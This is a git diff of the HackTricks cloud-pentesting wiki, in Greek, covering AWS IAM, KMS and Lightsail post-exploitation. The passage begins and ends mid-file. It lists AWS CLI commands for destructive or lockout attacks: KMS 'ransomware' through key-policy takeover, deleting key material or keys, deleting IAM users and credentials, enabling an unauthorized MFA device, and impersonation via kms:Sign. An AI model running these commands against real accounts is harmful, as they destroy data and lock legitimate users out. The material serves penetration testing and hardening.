εξωτερικός λογαριασμός (B) μπορεί να έχει πρόσβαση στον εξωτερικό λογαριασμό (A), είναι πιθανό ότι **και ο B θα μπορεί επίσης να έχει πρόσβαση στον λογαριασμό σας**. + +Επομένως, όταν επιτρέπετε σε έναν εξωτερικό λογαριασμό να έχει πρόσβαση σε ένα **role** στον λογαριασμό σας, μπορείτε να καθορίσετε ένα `ExternalId`. Πρόκειται για ένα "μυστικό" string που ο εξωτερικός λογαριασμός (A) **πρέπει να δηλώσει** προκειμένου να **assume the role στην οργάνωσή σας**. Εφόσον ο **εξωτερικός λογαριασμός B δεν θα γνωρίζει αυτό το string**, ακόμα κι αν έχει πρόσβαση στον A **δεν θα μπορεί να έχει πρόσβαση στο role σας**. + +
+ +Ωστόσο, λάβετε υπόψη ότι αυτό το `ExternalId` "μυστικό" είναι **όχι μυστικό**, ο οποιοσδήποτε μπορεί να **διαβάσει την IAM assume role policy και να το δει**. Αλλά όσο ο εξωτερικός λογαριασμός A το γνωρίζει και ο εξωτερικός λογαριασμός **B δεν το γνωρίζει**, αυτό **εμποδίζει τον B να εκμεταλλευτεί τον A για να αποκτήσει πρόσβαση στο role σας**. + +Παράδειγμα: +```json +{ +"Version": "2012-10-17", +"Statement": { +"Effect": "Allow", +"Principal": { +"AWS": "Example Corp's AWS Account ID" +}, +"Action": "sts:AssumeRole", +"Condition": { +"StringEquals": { +"sts:ExternalId": "12345" +} +} +} +} +``` +> [!WARNING] +> Για να εκμεταλλευτεί ένας επιτιθέμενος έναν confused deputy, θα χρειαστεί να βρει με κάποιο τρόπο αν οι principals του τρέχοντος λογαριασμού μπορούν να impersonate roles σε άλλους λογαριασμούς. + +### Αναπάντεχες εμπιστοσύνες + +#### Wildcard ως principal +```json +{ +"Action": "sts:AssumeRole", +"Effect": "Allow", +"Principal": { "AWS": "*" } +} +``` +Αυτή η πολιτική **επιτρέπει σε όλα τα AWS** να αναλάβουν τον ρόλο. + +#### Υπηρεσία ως principal +```json +{ +"Action": "lambda:InvokeFunction", +"Effect": "Allow", +"Principal": { "Service": "apigateway.amazonaws.com" }, +"Resource": "arn:aws:lambda:000000000000:function:foo" +} +``` +Αυτή η πολιτική **επιτρέπει σε οποιονδήποτε λογαριασμό** να διαμορφώσει το apigateway του ώστε να καλεί αυτό το Lambda. + +#### S3 ως principal +```json +"Condition": { +"ArnLike": { "aws:SourceArn": "arn:aws:s3:::source-bucket" }, +"StringEquals": { +"aws:SourceAccount": "123456789012" +} +} +``` +Αν ένα S3 bucket δοθεί ως principal, επειδή τα S3 buckets δεν έχουν Account ID, αν **διαγράψατε το bucket σας και ο attacker το δημιούργησε** στον δικό του λογαριασμό, τότε θα μπορούσαν να το καταχραστούν. + +#### Δεν υποστηρίζεται +```json +{ +"Effect": "Allow", +"Principal": { "Service": "cloudtrail.amazonaws.com" }, +"Action": "s3:PutObject", +"Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*" +} +``` +Ένας κοινός τρόπος για να αποφευχθούν τα προβλήματα Confused Deputy είναι η χρήση μιας συνθήκης με `AWS:SourceArn` για να ελεγχθεί το ARN προέλευσης. Ωστόσο, **κάποιες υπηρεσίες μπορεί να μην το υποστηρίζουν** (όπως το CloudTrail σύμφωνα με κάποιες πηγές). + +### Διαγραφή Διαπιστευτηρίων +Με οποιοδήποτε από τα παρακάτω permissions — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — ένας χρήστης μπορεί να αφαιρέσει κλειδιά πρόσβασης, προφίλ σύνδεσης, κλειδιά SSH, service-specific credentials, instance profiles, πιστοποιητικά ή public keys του CloudFront, ή να αποσυνδέσει ρόλους από instance profiles. Τέτοιες ενέργειες μπορούν να μπλοκάρουν άμεσα νόμιμους χρήστες και εφαρμογές και να προκαλέσουν denial-of-service ή απώλεια πρόσβασης για συστήματα που εξαρτώνται από αυτά τα διαπιστευτήρια, οπότε αυτά τα IAM permissions πρέπει να είναι αυστηρά περιορισμένα και επιτηρούμενα. +```bash +# Remove Access Key of a user +aws iam delete-access-key \ +--user-name \ +--access-key-id AKIAIOSFODNN7EXAMPLE + +## Remove ssh key of a user +aws iam delete-ssh-public-key \ +--user-name \ +--ssh-public-key-id APKAEIBAERJR2EXAMPLE +``` +### Διαγραφή Ταυτότητας +Με δικαιώματα όπως `iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole` ή `iam:RemoveUserFromGroup`, ένας παράγοντας μπορεί να διαγράψει χρήστες, ρόλους ή ομάδες — ή να αλλάξει τη συμμετοχή σε ομάδα — αφαιρώντας ταυτότητες και σχετικά ίχνη. Αυτό μπορεί να διακόψει άμεσα την πρόσβαση για ανθρώπους και υπηρεσίες που εξαρτώνται από αυτές τις ταυτότητες, προκαλώντας denial-of-service ή απώλεια πρόσβασης, επομένως αυτές οι ενέργειες IAM πρέπει να περιορίζονται και να παρακολουθούνται αυστηρά. +```bash +# Delete a user +aws iam delete-user \ +--user-name + +# Delete a group +aws iam delete-group \ +--group-name + +# Delete a role +aws iam delete-role \ +--role-name +``` +### +Με οποιοδήποτε από τα ακόλουθα δικαιώματα — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — ένας παράγοντας μπορεί να διαγράψει ή να αποσυνδέσει managed/inline policies, να αφαιρέσει policy versions ή permissions boundaries, και να αποσυνδέσει policies από users, groups, ή roles. Αυτό καταστρέφει εξουσιοδοτήσεις και μπορεί να αλλάξει το μοντέλο δικαιωμάτων, προκαλώντας άμεση απώλεια πρόσβασης ή denial-of-service για principals που εξαρτώνταν από αυτές τις πολιτικές, γι' αυτό αυτές οι IAM ενέργειες πρέπει να είναι αυστηρά περιορισμένες και να παρακολουθούνται. +```bash +# Delete a group policy +aws iam delete-group-policy \ +--group-name \ +--policy-name + +# Delete a role policy +aws iam delete-role-policy \ +--role-name \ +--policy-name +``` +### Διαγραφή Ομοσπονδιακής Ταυτότητας +Με τις `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider`, και `iam:RemoveClientIDFromOpenIDConnectProvider`, ένας παράγοντας μπορεί να διαγράψει παρόχους ταυτότητας OIDC/SAML ή να αφαιρέσει client IDs. Αυτό διακόπτει την ομοσπονδιακή αυθεντικοποίηση, εμποδίζοντας την επικύρωση των tokens και αποκλείοντας άμεσα την πρόσβαση σε χρήστες και υπηρεσίες που βασίζονται στο SSO μέχρι να επαναφερθεί ο IdP ή οι ρυθμίσεις. +```bash +# Delete OIDCP provider +aws iam delete-open-id-connect-provider \ +--open-id-connect-provider-arn arn:aws:iam::111122223333:oidc-provider/accounts.google.com + +# Delete SAML provider +aws iam delete-saml-provider \ +--saml-provider-arn arn:aws:iam::111122223333:saml-provider/CorporateADFS +``` +### Μη εξουσιοδοτημένη ενεργοποίηση MFA +Με την ενέργεια `iam:EnableMFADevice`, ένας επιτιθέμενος μπορεί να καταχωρήσει μια συσκευή MFA στην ταυτότητα ενός χρήστη, αποτρέποντας τον νόμιμο χρήστη από το να συνδεθεί. Μόλις ενεργοποιηθεί μια μη εξουσιοδοτημένη συσκευή MFA, ο χρήστης μπορεί να αποκλειστεί μέχρι να αφαιρεθεί ή να επαναρυθμιστεί η συσκευή (σημείωση: αν έχουν καταχωρηθεί πολλαπλές συσκευές MFA, η σύνδεση απαιτεί μόνο μία, οπότε αυτή η επίθεση δεν θα έχει αποτέλεσμα στον αποκλεισμό της πρόσβασης). +```bash +aws iam enable-mfa-device \ +--user-name \ +--serial-number arn:aws:iam::111122223333:mfa/alice \ +--authentication-code1 123456 \ +--authentication-code2 789012 +``` +### Παραποίηση Μεταδεδομένων Πιστοποιητικού/Κλειδιού +Με τα `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate`, ένας επιτιθέμενος μπορεί να αλλάξει την κατάσταση ή τα μεταδεδομένα δημοσίων κλειδιών και πιστοποιητικών. Με το να σημειώσει κλειδιά/πιστοποιητικά ως ανενεργά ή να τροποποιήσει αναφορές, μπορεί να διακόψει την πιστοποίηση SSH, να ακυρώσει τις επικυρώσεις X.509/TLS και να διαταράξει άμεσα υπηρεσίες που εξαρτώνται από αυτά τα διαπιστευτήρια, προκαλώντας απώλεια πρόσβασης ή διαθεσιμότητας. +```bash +aws iam update-ssh-public-key \ +--user-name \ +--ssh-public-key-id APKAEIBAERJR2EXAMPLE \ +--status Inactive + +aws iam update-server-certificate \ +--server-certificate-name \ +--new-path /prod/ +``` +## Αναφορές + +- [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md deleted file mode 100644 index 8c61197a0..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md +++ /dev/null @@ -1,182 +0,0 @@ -# AWS - KMS Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## KMS - -Για περισσότερες πληροφορίες δείτε: - -{{#ref}} -../aws-services/aws-kms-enum.md -{{#endref}} - -### Encrypt/Decrypt information - -`fileb://` and `file://` είναι σχήματα URI που χρησιμοποιούνται στις εντολές AWS CLI για να καθορίσουν τη διαδρομή προς τοπικά αρχεία: - -- `fileb://:` Διαβάζει το αρχείο σε δυαδική λειτουργία, συνήθως χρησιμοποιείται για αρχεία μη κειμένου. -- `file://:` Διαβάζει το αρχείο σε λειτουργία κειμένου, συνήθως χρησιμοποιείται για αρχεία απλού κειμένου, scripts, ή JSON που δεν έχει ειδικές απαιτήσεις κωδικοποίησης. - -> [!TIP] -> Σημειώστε ότι αν θέλετε να αποκρυπτογραφήσετε δεδομένα μέσα σε ένα αρχείο, το αρχείο πρέπει να περιέχει τα δυαδικά δεδομένα, όχι δεδομένα κωδικοποιημένα σε base64. (fileb://) - -- Χρήση **συμμετρικού** κλειδιού -```bash -# Encrypt data -aws kms encrypt \ ---key-id f0d3d719-b054-49ec-b515-4095b4777049 \ ---plaintext fileb:///tmp/hello.txt \ ---output text \ ---query CiphertextBlob | base64 \ ---decode > ExampleEncryptedFile - -# Decrypt data -aws kms decrypt \ ---ciphertext-blob fileb://ExampleEncryptedFile \ ---key-id f0d3d719-b054-49ec-b515-4095b4777049 \ ---output text \ ---query Plaintext | base64 \ ---decode -``` -- Χρησιμοποιώντας ένα **ασύμμετρο** κλειδί: -```bash -# Encrypt data -aws kms encrypt \ ---key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \ ---encryption-algorithm RSAES_OAEP_SHA_256 \ ---plaintext fileb:///tmp/hello.txt \ ---output text \ ---query CiphertextBlob | base64 \ ---decode > ExampleEncryptedFile - -# Decrypt data -aws kms decrypt \ ---ciphertext-blob fileb://ExampleEncryptedFile \ ---encryption-algorithm RSAES_OAEP_SHA_256 \ ---key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \ ---output text \ ---query Plaintext | base64 \ ---decode -``` -### KMS Ransomware - -Ένας επιτιθέμενος με προνόμια στο KMS μπορεί να τροποποιήσει την KMS policy των keys και να **παρέχει στον λογαριασμό του πρόσβαση σε αυτές**, αφαιρώντας την πρόσβαση που είχε ο νόμιμος λογαριασμός. - -Τότε, οι χρήστες του νόμιμου λογαριασμού δεν θα μπορούν να έχουν πρόσβαση σε καμία πληροφορία από οποιαδήποτε υπηρεσία έχει κρυπτογραφηθεί με αυτά τα keys, δημιουργώντας ένα απλό αλλά αποτελεσματικό ransomware στον λογαριασμό. - -> [!WARNING] -> Σημειώστε ότι **AWS managed keys aren't affected** από αυτήν την επίθεση, μόνο **Customer managed keys**. - -> Σημειώστε επίσης την ανάγκη χρήσης της παραμέτρου **`--bypass-policy-lockout-safety-check`** (η απουσία αυτής της επιλογής στην web console καθιστά αυτή την επίθεση δυνατή μόνο από το CLI). -```bash -# Force policy change -aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \ ---policy-name default \ ---policy file:///tmp/policy.yaml \ ---bypass-policy-lockout-safety-check - -{ -"Id": "key-consolepolicy-3", -"Version": "2012-10-17", -"Statement": [ -{ -"Sid": "Enable IAM User Permissions", -"Effect": "Allow", -"Principal": { -"AWS": "arn:aws:iam:::root" -}, -"Action": "kms:*", -"Resource": "*" -} -] -} -``` -> [!CAUTION] -> Σημειώστε ότι αν αλλάξετε εκείνη την policy και δώσετε πρόσβαση μόνο σε έναν external account, και έπειτα από αυτόν τον external account προσπαθήσετε να ορίσετε νέα policy για να **δώσετε την πρόσβαση πίσω στον original account, δεν θα μπορέσετε επειδή η Put Polocy action cannot be performed from a cross account**. - -
- -### Generic KMS Ransomware - -Υπάρχει ένας ακόμα τρόπος για να εκτελέσετε ένα global KMS Ransomware, που θα περιλαμβάνει τα παρακάτω βήματα: - -- Δημιουργήστε ένα νέο **key με key material** που έχει εισαχθεί από τον επιτιθέμενο -- **Επανακρυπτογραφήστε παλαιότερα δεδομένα** του θύματος που είχαν κρυπτογραφηθεί με την προηγούμενη έκδοση, χρησιμοποιώντας το νέο -- **Διαγράψτε το KMS key** -- Τώρα μόνο ο επιτιθέμενος, ο οποίος έχει το αρχικό key material, θα μπορούσε να αποκρυπτογραφήσει τα κρυπτογραφημένα δεδομένα - -### Delete Keys via kms:DeleteImportedKeyMaterial - -With the `kms:DeleteImportedKeyMaterial` permission, an actor can delete the imported key material from CMKs with `Origin=EXTERNAL` (CMKs that have imported their key material), making them unable to decrypt data. This action is destructive and irreversible unless compatible material is re-imported, allowing an attacker to effectively cause ransomware-like data loss by rendering encrypted information permanently inaccessible. -```bash -aws kms delete-imported-key-material --key-id -``` -### Destroy keys - -Η καταστροφή κλειδιών μπορεί να προκαλέσει DoS. -```bash -# Schedule the destoy of a key (min wait time is 7 days) -aws kms schedule-key-deletion \ ---key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \ ---pending-window-in-days 7 -``` -> [!CAUTION] -> Σημειώστε ότι η AWS πλέον **αποτρέπει την εκτέλεση των προηγούμενων ενεργειών από cross account:** -> -> ### Αλλαγή ή διαγραφή Alias -> Αυτή η επίθεση διαγράφει ή ανακατευθύνει τα AWS KMS aliases, διακόπτοντας την επίλυση κλειδιών και προκαλώντας άμεσες αποτυχίες σε οποιεσδήποτε υπηρεσίες που εξαρτώνται από αυτά τα aliases, οδηγώντας σε denial-of-service. Με δικαιώματα όπως `kms:DeleteAlias` ή `kms:UpdateAlias`, ένας επιτιθέμενος μπορεί να αφαιρέσει ή να επανακατευθύνει aliases και να διαταράξει τις κρυπτογραφικές λειτουργίες (π.χ., encrypt, describe). Οποιαδήποτε υπηρεσία που αναφέρεται στο alias αντί για το key ID μπορεί να αποτύχει μέχρι το alias να αποκατασταθεί ή να αντιστοιχιστεί σωστά. -```bash -# Delete Alias -aws kms delete-alias --alias-name alias/ - -# Update Alias -aws kms update-alias \ ---alias-name alias/ \ ---target-key-id -``` -### Ακύρωση Διαγραφής Κλειδιού -Με δικαιώματα όπως `kms:CancelKeyDeletion` και `kms:EnableKey`, ένας επιτιθέμενος μπορεί να ακυρώσει την προγραμματισμένη διαγραφή ενός AWS KMS customer master key και αργότερα να το ενεργοποιήσει ξανά. Με αυτόν τον τρόπο το κλειδί ανακτάται (αρχικά σε κατάσταση Disabled) και επανέρχεται η ικανότητά του να αποκρυπτογραφεί δεδομένα που προστατεύονταν προηγουμένως, επιτρέποντας exfiltration. -```bash -# Firts cancel de deletion -aws kms cancel-key-deletion \ ---key-id - -## Second enable the key -aws kms enable-key \ ---key-id -``` -### Disable Key -Με την άδεια `kms:DisableKey`, ένας παράγοντας μπορεί να απενεργοποιήσει ένα AWS KMS customer master key, εμποδίζοντας τη χρήση του για encryption ή decryption. Αυτό διακόπτει την πρόσβαση για οποιεσδήποτε υπηρεσίες που εξαρτώνται από αυτό το CMK και μπορεί να προκαλέσει άμεσες διαταραχές ή denial-of-service μέχρι να ενεργοποιηθεί ξανά το κλειδί. -```bash -aws kms disable-key \ ---key-id -``` -### Derive Shared Secret -Με την άδεια `kms:DeriveSharedSecret`, ένας δράστης μπορεί να χρησιμοποιήσει ένα KMS-held private key μαζί με ένα user-supplied public key για να υπολογίσει ένα ECDH shared secret. -```bash -aws kms derive-shared-secret \ ---key-id \ ---public-key fileb:/// \ ---key-agreement-algorithm -``` -### Impersonation via kms:Sign -Με το δικαίωμα `kms:Sign`, ένας χρήστης μπορεί να χρησιμοποιήσει ένα CMK αποθηκευμένο στο KMS για να υπογράψει κρυπτογραφικά δεδομένα χωρίς να αποκαλύψει το private key, παράγοντας έγκυρες υπογραφές που μπορούν να επιτρέψουν impersonation ή να εξουσιοδοτήσουν κακόβουλες ενέργειες. -```bash -aws kms sign \ ---key-id \ ---message fileb:// \ ---signing-algorithm \ ---message-type RAW -``` -### DoS με Custom Key Stores -Με δικαιώματα όπως `kms:DeleteCustomKeyStore`, `kms:DisconnectCustomKeyStore`, ή `kms:UpdateCustomKeyStore`, ένας actor μπορεί να τροποποιήσει, να αποσυνδέσει ή να διαγράψει ένα AWS KMS Custom Key Store (CKS), καθιστώντας τα master keys του μη λειτουργικά. Αυτό διακόπτει τις λειτουργίες κρυπτογράφησης, αποκρυπτογράφησης και υπογραφής για οποιεσδήποτε υπηρεσίες που βασίζονται σε αυτά τα κλειδιά και μπορεί να προκαλέσει άμεσο denial-of-service. Επομένως, είναι κρίσιμο να περιορίζονται και να παρακολουθούνται αυτά τα δικαιώματα. -```bash -aws kms delete-custom-key-store --custom-key-store-id - -aws kms disconnect-custom-key-store --custom-key-store-id - -aws kms update-custom-key-store --custom-key-store-id --new-custom-key-store-name --key-store-password -``` -
- -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation/README.md new file mode 100644 index 000000000..ac5b3a73f --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation/README.md @@ -0,0 +1,182 @@ +# AWS - KMS Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## KMS + +Για περισσότερες πληροφορίες, δείτε: + +{{#ref}} +../../aws-services/aws-kms-enum.md +{{#endref}} + +### Encrypt/Decrypt information + +`fileb://` and `file://` are URI schemes used in AWS CLI commands to specify the path to local files: + +- `fileb://:` Διαβάζει το αρχείο σε δυαδική λειτουργία, συνήθως χρησιμοποιείται για μη-κειμενικά αρχεία. +- `file://:` Διαβάζει το αρχείο σε κειμενική λειτουργία, συνήθως χρησιμοποιείται για plain text files, scripts ή JSON που δεν έχει ειδικές απαιτήσεις κωδικοποίησης. + +> [!TIP] +> Σημειώστε ότι αν θέλετε να αποκρυπτογραφήσετε δεδομένα μέσα σε ένα αρχείο, το αρχείο πρέπει να περιέχει δυαδικά δεδομένα, όχι base64 encoded δεδομένα. (fileb://) + +- Χρήση **symmetric** key +```bash +# Encrypt data +aws kms encrypt \ +--key-id f0d3d719-b054-49ec-b515-4095b4777049 \ +--plaintext fileb:///tmp/hello.txt \ +--output text \ +--query CiphertextBlob | base64 \ +--decode > ExampleEncryptedFile + +# Decrypt data +aws kms decrypt \ +--ciphertext-blob fileb://ExampleEncryptedFile \ +--key-id f0d3d719-b054-49ec-b515-4095b4777049 \ +--output text \ +--query Plaintext | base64 \ +--decode +``` +- Χρήση ενός **ασύμμετρου** κλειδιού: +```bash +# Encrypt data +aws kms encrypt \ +--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \ +--encryption-algorithm RSAES_OAEP_SHA_256 \ +--plaintext fileb:///tmp/hello.txt \ +--output text \ +--query CiphertextBlob | base64 \ +--decode > ExampleEncryptedFile + +# Decrypt data +aws kms decrypt \ +--ciphertext-blob fileb://ExampleEncryptedFile \ +--encryption-algorithm RSAES_OAEP_SHA_256 \ +--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \ +--output text \ +--query Plaintext | base64 \ +--decode +``` +### KMS Ransomware + +Ένας επιτιθέμενος με προνόμιακή πρόσβαση στο KMS μπορεί να τροποποιήσει την KMS policy των keys και **να χορηγήσει πρόσβαση στον λογαριασμό του σε αυτά**, αφαιρώντας την πρόσβαση που είχε χορηγηθεί στον νόμιμο λογαριασμό. + +Τότε, οι χρήστες του νόμιμου λογαριασμού δεν θα μπορούν να προσπελάσουν καμία πληροφορία από υπηρεσίες που έχουν κρυπτογραφηθεί με αυτά τα keys, δημιουργώντας ένα απλό αλλά αποτελεσματικό ransomware εναντίον του λογαριασμού. + +> [!WARNING] +> Σημειώστε ότι **AWS managed keys aren't affected** από αυτή την επίθεση — επηρεάζονται μόνο οι **Customer managed keys**. + +> Επίσης σημειώστε την ανάγκη χρήσης της παραμέτρου **`--bypass-policy-lockout-safety-check`** (η έλλειψη αυτής της επιλογής στην web console κάνει αυτή την επίθεση δυνατή μόνο μέσω του CLI). +```bash +# Force policy change +aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \ +--policy-name default \ +--policy file:///tmp/policy.yaml \ +--bypass-policy-lockout-safety-check + +{ +"Id": "key-consolepolicy-3", +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "Enable IAM User Permissions", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam:::root" +}, +"Action": "kms:*", +"Resource": "*" +} +] +} +``` +> [!CAUTION] +> Σημειώστε ότι αν αλλάξετε αυτήν την πολιτική και δώσετε πρόσβαση μόνο σε έναν εξωτερικό λογαριασμό, και στη συνέχεια από αυτόν τον εξωτερικό λογαριασμό προσπαθήσετε να ορίσετε μια νέα πολιτική για **να επιστρέψετε την πρόσβαση στον αρχικό λογαριασμό, δεν θα μπορέσετε γιατί το Put Polocy action cannot be performed from a cross account**. + +
+ +### Γενικό KMS Ransomware + +Υπάρχει ένας άλλος τρόπος για να εκτελέσετε ένα παγκόσμιο KMS Ransomware, ο οποίος περιλαμβάνει τα παρακάτω βήματα: + +- Δημιουργήστε ένα νέο **κλειδί με υλικό κλειδιού** που έχει εισαχθεί από τον επιτιθέμενο +- **Επανακρυπτογραφήστε τα παλαιότερα δεδομένα** του θύματος που έχουν κρυπτογραφηθεί με την προηγούμενη έκδοση, με τη νέα. +- **Διαγράψτε το KMS κλειδί** +- Τώρα μόνο ο επιτιθέμενος, που έχει το αρχικό υλικό κλειδιού, θα μπορεί να αποκρυπτογραφήσει τα κρυπτογραφημένα δεδομένα. + +### Διαγραφή Κλειδιών μέσω kms:DeleteImportedKeyMaterial + +Με την άδεια `kms:DeleteImportedKeyMaterial`, ένας δράστης μπορεί να διαγράψει το εισαγμένο υλικό κλειδιού από CMKs με `Origin=EXTERNAL` (CMKs που έχουν εισάγει το υλικό κλειδιού τους), καθιστώντας τα ανίκανα να αποκρυπτογραφήσουν δεδομένα. Αυτή η ενέργεια είναι καταστροφική και μη αναστρέψιμη εκτός εάν επανεισαχθεί συμβατό υλικό, επιτρέποντας σε έναν επιτιθέμενο να προκαλέσει αποτελεσματικά απώλεια δεδομένων τύπου ransomware, καθιστώντας τις κρυπτογραφημένες πληροφορίες μόνιμα μη προσβάσιμες. +```bash +aws kms delete-imported-key-material --key-id +``` +### Καταστροφή κλειδιών + +Η καταστροφή κλειδιών μπορεί να προκαλέσει DoS. +```bash +# Schedule the destoy of a key (min wait time is 7 days) +aws kms schedule-key-deletion \ +--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \ +--pending-window-in-days 7 +``` +> [!CAUTION] +> Σημειώστε ότι το AWS πλέον **αποτρέπει την εκτέλεση των προηγούμενων ενεργειών από cross account:** + +### Αλλαγή ή διαγραφή Alias +Αυτή η επίθεση διαγράφει ή ανακατευθύνει τα AWS KMS aliases, σπάζοντας την επίλυση κλειδιού και προκαλώντας άμεσες αποτυχίες σε οποιεσδήποτε υπηρεσίες που βασίζονται σε αυτά τα aliases, με αποτέλεσμα denial-of-service. Με δικαιώματα όπως `kms:DeleteAlias` ή `kms:UpdateAlias` ένας attacker μπορεί να αφαιρέσει ή να επαναδείξει aliases και να διαταράξει κρυπτογραφικές λειτουργίες (π.χ., encrypt, describe). Οποιαδήποτε υπηρεσία που αναφέρεται στο alias αντί για το key ID μπορεί να αποτύχει μέχρι το alias να αποκατασταθεί ή να αντιστοιχηθεί σωστά. +```bash +# Delete Alias +aws kms delete-alias --alias-name alias/ + +# Update Alias +aws kms update-alias \ +--alias-name alias/ \ +--target-key-id +``` +### Cancel Key Deletion +Με δικαιώματα όπως `kms:CancelKeyDeletion` και `kms:EnableKey`, ένας δράστης μπορεί να ακυρώσει μια προγραμματισμένη διαγραφή ενός AWS KMS customer master key και αργότερα να το ενεργοποιήσει ξανά. Με αυτόν τον τρόπο ανακτάται το κλειδί (αρχικά σε κατάσταση Disabled) και αποκαθίσταται η ικανότητά του να decrypt δεδομένα που προηγουμένως ήταν προστατευμένα, επιτρέποντας exfiltration. +```bash +# Firts cancel de deletion +aws kms cancel-key-deletion \ +--key-id + +## Second enable the key +aws kms enable-key \ +--key-id +``` +### Disable Key +Με την άδεια `kms:DisableKey`, ένας δράστης μπορεί να απενεργοποιήσει ένα AWS KMS customer master key, εμποδίζοντάς το να χρησιμοποιηθεί για encryption ή decryption. Αυτό διακόπτει την πρόσβαση για οποιεσδήποτε υπηρεσίες που εξαρτώνται από εκείνο το CMK και μπορεί να προκαλέσει άμεσες διαταραχές ή ένα denial-of-service έως ότου το κλειδί επανενεργοποιηθεί. +```bash +aws kms disable-key \ +--key-id +``` +### Derive Shared Secret +Με την άδεια `kms:DeriveSharedSecret`, ένας χρήστης μπορεί να χρησιμοποιήσει ένα ιδιωτικό κλειδί που φυλάσσεται στο KMS μαζί με ένα δημόσιο κλειδί που παρέχεται από τον χρήστη για να υπολογίσει ένα κοινό μυστικό ECDH. +```bash +aws kms derive-shared-secret \ +--key-id \ +--public-key fileb:/// \ +--key-agreement-algorithm +``` +### Πλαστοπροσωπία μέσω kms:Sign +Με την άδεια `kms:Sign`, μια οντότητα μπορεί να χρησιμοποιήσει ένα CMK αποθηκευμένο στο KMS για να υπογράψει κρυπτογραφικά δεδομένα χωρίς να αποκαλύψει το private key, παράγοντας έγκυρες υπογραφές που μπορούν να επιτρέψουν πλαστοπροσωπία ή να εξουσιοδοτήσουν κακόβουλες ενέργειες. +```bash +aws kms sign \ +--key-id \ +--message fileb:// \ +--signing-algorithm \ +--message-type RAW +``` +### DoS with Custom Key Stores +Με δικαιώματα όπως `kms:DeleteCustomKeyStore`, `kms:DisconnectCustomKeyStore`, ή `kms:UpdateCustomKeyStore`, ένας δράστης μπορεί να τροποποιήσει, αποσυνδέσει ή διαγράψει ένα AWS KMS Custom Key Store (CKS), καθιστώντας τα κύρια κλειδιά του μη λειτουργικά. Αυτό διακόπτει τις λειτουργίες κρυπτογράφησης, αποκρυπτογράφησης και υπογραφής για οποιεσδήποτε υπηρεσίες που βασίζονται σε αυτά τα κλειδιά και μπορεί να προκαλέσει άμεση denial-of-service. Συνεπώς, ο περιορισμός και η παρακολούθηση αυτών των δικαιωμάτων είναι κρίσιμης σημασίας. +```bash +aws kms delete-custom-key-store --custom-key-store-id + +aws kms disconnect-custom-key-store --custom-key-store-id + +aws kms update-custom-key-store --custom-key-store-id --new-custom-key-store-name --key-store-password +``` +
+ +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md deleted file mode 100644 index dd7b42324..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md +++ /dev/null @@ -1,30 +0,0 @@ -# AWS - Lightsail Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## Lightsail - -Για περισσότερες πληροφορίες, ελέγξτε: - -{{#ref}} -../aws-services/aws-lightsail-enum.md -{{#endref}} - -### Επαναφορά παλαιών στιγμιότυπων DB - -Εάν η DB έχει στιγμιότυπα, μπορεί να είστε σε θέση να **βρείτε ευαίσθητες πληροφορίες που έχουν διαγραφεί σε παλαιά στιγμιότυπα**. **Επαναφέρετε** το στιγμιότυπο σε μια **νέα βάση δεδομένων** και ελέγξτε το. - -### Επαναφορά Στιγμιότυπων Instance - -Τα στιγμιότυπα instance μπορεί να περιέχουν **ευαίσθητες πληροφορίες** από ήδη διαγραμμένα instances ή ευαίσθητες πληροφορίες που έχουν διαγραφεί στο τρέχον instance. **Δημιουργήστε νέα instances από τα στιγμιότυπα** και ελέγξτε τα.\ -Ή **εξάγετε το στιγμιότυπο σε ένα AMI στο EC2** και ακολουθήστε τα βήματα ενός τυπικού instance EC2. - -### Πρόσβαση σε Ευαίσθητες Πληροφορίες - -Ελέγξτε τις επιλογές privesc του Lightsail για να μάθετε διάφορους τρόπους πρόσβασης σε πιθανές ευαίσθητες πληροφορίες: - -{{#ref}} 